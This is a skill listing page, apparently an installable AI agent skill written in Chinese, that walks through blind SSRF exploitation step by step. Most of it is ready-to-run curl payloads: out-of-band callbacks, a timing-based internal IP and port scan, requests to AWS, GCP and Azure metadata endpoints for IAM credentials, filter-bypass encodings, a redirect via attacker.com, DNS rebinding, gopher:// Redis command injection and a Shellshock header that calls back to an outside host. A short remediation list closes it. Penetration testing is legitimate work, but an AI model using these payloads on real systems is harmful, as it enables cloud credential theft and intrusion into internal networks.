# Performing Blind Ssrf Exploitation

> 使用带外技术、DNS 交互和时序分析检测并利用盲 SSRF 漏洞，以访问内部服务和云元数据端点。

- Skill: `killvxk/performing-blind-ssrf-exploitation` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/performing-blind-ssrf-exploitation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/performing-blind-ssrf-exploitation/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/performing-blind-ssrf-exploitation

---


# 执行盲 SSRF 利用（Performing Blind SSRF Exploitation）

## 适用场景
- 测试服务器端响应未被反映的 URL/Webhook 输入参数时
- 评估获取外部资源的应用程序（头像、预览、导入）时
- 测试 PDF 生成器、图像处理器或文档转换器的 SSRF 漏洞时
- 进行云安全评估以检测元数据端点访问时
- 评估 Webhook 功能和 URL 验证实现时

## 前置条件
- 带有 Burp Collaborator 的 Burp Suite Professional，用于带外（OOB）检测
- interact.sh 或 webhook.site，用于外部回调监控
- 了解 SSRF 攻击向量和内网枚举
- 掌握云元数据端点知识（AWS、GCP、Azure）
- 用于高级利用回调处理的 VPS 或受控服务器
- 带有 requests 库的 Python，用于自动化脚本

## 工作流程

### 步骤 1 — 识别盲 SSRF 输入点
```bash
# 常见易受 SSRF 攻击的参数：
# url=, uri=, path=, dest=, redirect=, src=, source=
# link=, imageURL=, callback=, webhook=, feed=, import=

# 测试 URL 获取功能
curl -X POST http://target.com/api/fetch-url \
  -H "Content-Type: application/json" \
  -d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'

# 测试 Webhook 配置
curl -X POST http://target.com/api/webhooks \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'

# 测试图片/头像 URL
curl -X POST http://target.com/api/profile/avatar \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'

# 测试文档导入
curl -X POST http://target.com/api/import \
  -H "Content-Type: application/json" \
  -d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'
```

### 步骤 2 — 使用带外检测确认盲 SSRF
```bash
# 使用 Burp Collaborator 进行 DNS + HTTP 回调
# 生成 Collaborator 载荷：xxxxxx.oastify.com

# 基于 DNS 的检测（即使 HTTP 被封锁也有效）
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
# 检查 Collaborator 中的 DNS 查询

# 基于 HTTP 的检测
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://http-test.COLLABORATOR.oastify.com"}'
# 检查 Collaborator 中的 HTTP 请求

# interact.sh 替代方案
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://RANDOM.interact.sh"}'
# 监控 interact.sh 仪表板的交互
```

### 步骤 3 — 枚举内部网络
```bash
# 通过盲 SSRF 扫描内部 IP 段
# 使用时序差异判断主机是否存活

# 扫描常见内网段
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
  start=$(date +%s%N)
  curl -X POST http://target.com/api/fetch -d "{\"url\": \"http://$ip/\"}" -s -o /dev/null --max-time 5
  end=$(date +%s%N)
  elapsed=$(( (end - start) / 1000000 ))
  echo "$ip: ${elapsed}ms"
done

# 通过盲 SSRF 进行端口扫描
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
  curl -X POST http://target.com/api/fetch \
    -d "{\"url\": \"http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n"
  echo "端口 $port 已测试"
done

# 使用 gopher:// 进行更高级的内部服务交互
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_INFO"}'
```

### 步骤 4 — 访问云元数据端点
```bash
# AWS 元数据（IMDSv1）
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'

# AWS IAM 凭证
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP 元数据
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'

# Azure 元数据
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'

# DNS 重绑定访问元数据（绕过 IP 封锁）
# 使用 rebinder.net 等服务创建 DNS 重绑定域名
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'
```

### 步骤 5 — 绕过 SSRF 过滤器
```bash
# IP 表示绕过
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}'       # 十六进制
curl -X POST http://target.com/api/fetch -d '{"url": "http://2130706433/"}'         # 十进制
curl -X POST http://target.com/api/fetch -d '{"url": "http://0177.0.0.1/"}'         # 八进制
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.1/"}'              # 简短形式
curl -X POST http://target.com/api/fetch -d '{"url": "http://[::1]/"}'              # IPv6

# URL 解析混淆
curl -X POST http://target.com/api/fetch -d '{"url": "http://target.com@127.0.0.1/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.0.0.1#@target.com/"}'

# 基于重定向的绕过
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://attacker.com/redirect?url=http://169.254.169.254/"}'

# DNS 重绑定
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://make-169-254-169-254-rr.1u.ms/"}'
```

### 步骤 6 — 将盲 SSRF 升级为数据外泄
```bash
# 通过 DNS 外泄数据（仅 DNS 回调有效时）
# 如果能实现反映数据的服务的 SSRF：
# 链条：SSRF -> 内部服务 -> DNS 外泄

# 使用 gopher 协议执行 Redis 命令
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_SET%20ssrf_test%20exploited%0AQUIT"}'

# 将盲 SSRF 与内部主机的 Shellshock 结合利用
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://internal-cgi-server/cgi-bin/test.sh"}'
# 配合 User-Agent: () { :; }; /bin/bash -c "ping -c1 COLLABORATOR.oastify.com"

# 通过 SSRF 利用内部服务
# Redis：写入 SSH 密钥
# Memcached：注入序列化对象
# Elasticsearch：读取索引
# 内部 API：访问已认证端点
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| 盲 SSRF（Blind SSRF） | 服务器发出请求但响应对攻击者不可见 |
| 带外检测（Out-of-Band Detection） | 使用外部回调（DNS、HTTP）确认 SSRF 执行 |
| DNS 重绑定（DNS Rebinding） | 通过更改 DNS 解析绕过基于 IP 的 SSRF 过滤器的技术 |
| 云元数据（Cloud Metadata） | 可通过 SSRF 访问的实例元数据端点，用于凭证窃取 |
| Gopher 协议 | 允许构造载荷与内部 TCP 服务交互的协议 |
| 时序检测（Time-Based Detection） | 通过测量响应时间差异检测 SSRF 成功 |
| SSRF 链（SSRF Chain） | 将 SSRF 与其他漏洞结合以获得更大影响 |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| Burp Collaborator | 用于 DNS 和 HTTP 回调检测的带外交互服务器 |
| interact.sh | ProjectDiscovery 的开源带外交互工具 |
| SSRFmap | 自动化 SSRF 检测和利用框架 |
| Gopherus | 生成用于通过 SSRF 利用内部服务的 gopher 载荷 |
| webhook.site | 用于测试 SSRF 回调的免费 Webhook 接收器 |
| rebinder.net | 用于绕过 SSRF IP 过滤器的 DNS 重绑定服务 |

## 常见场景

1. **云凭证窃取** — 利用盲 SSRF 访问 AWS/GCP/Azure 元数据端点，窃取 IAM 凭证用于云账户入侵
2. **内部服务发现** — 使用基于时序的盲 SSRF 枚举内网主机和开放端口
3. **Redis 利用** — 将盲 SSRF 与 gopher:// 协议结合，在内部 Redis 实例上执行命令
4. **Webhook 滥用** — 利用 Webhook URL 字段扫描内网并通过带外通道外泄数据
5. **PDF 生成器 SSRF** — 向 PDF 生成功能注入内部 URL，在渲染的文档中外泄内部内容

## 输出格式

```
## 盲 SSRF 评估报告
- **目标**：http://target.com/api/fetch-url
- **检测方法**：Burp Collaborator DNS + HTTP 回调
- **内部访问已确认**：是

### 发现
| # | 输入点 | 载荷 | 检测 | 影响 |
|---|------------|---------|-----------|--------|
| 1 | POST /api/fetch url 参数 | http://collaborator | HTTP 回调 | 确认 SSRF |
| 2 | POST /api/avatar avatar_url | http://169.254.169.254 | 时序（2.3s vs 0.1s） | 云元数据 |
| 3 | POST /api/webhook callback | gopher://127.0.0.1:6379 | Redis 写入已确认 | 潜在 RCE |

### 内网地图
| 主机 | 端口 | 服务 | 可访问 |
|------|------|---------|-----------|
| 10.0.0.5 | 6379 | Redis | 是 |
| 10.0.0.10 | 9200 | Elasticsearch | 是 |
| 169.254.169.254 | 80 | AWS 元数据 | 是 |

### 修复建议
- 对 URL 获取实施允许的外部域白名单
- 封锁对私有 IP 段和云元数据端点的请求
- 对 AWS 实例元数据使用 IMDSv2（需要令牌）
- 禁用未使用的 URL 协议（gopher、file、dict）
- 为应用程序服务器实施网络级别分段
```

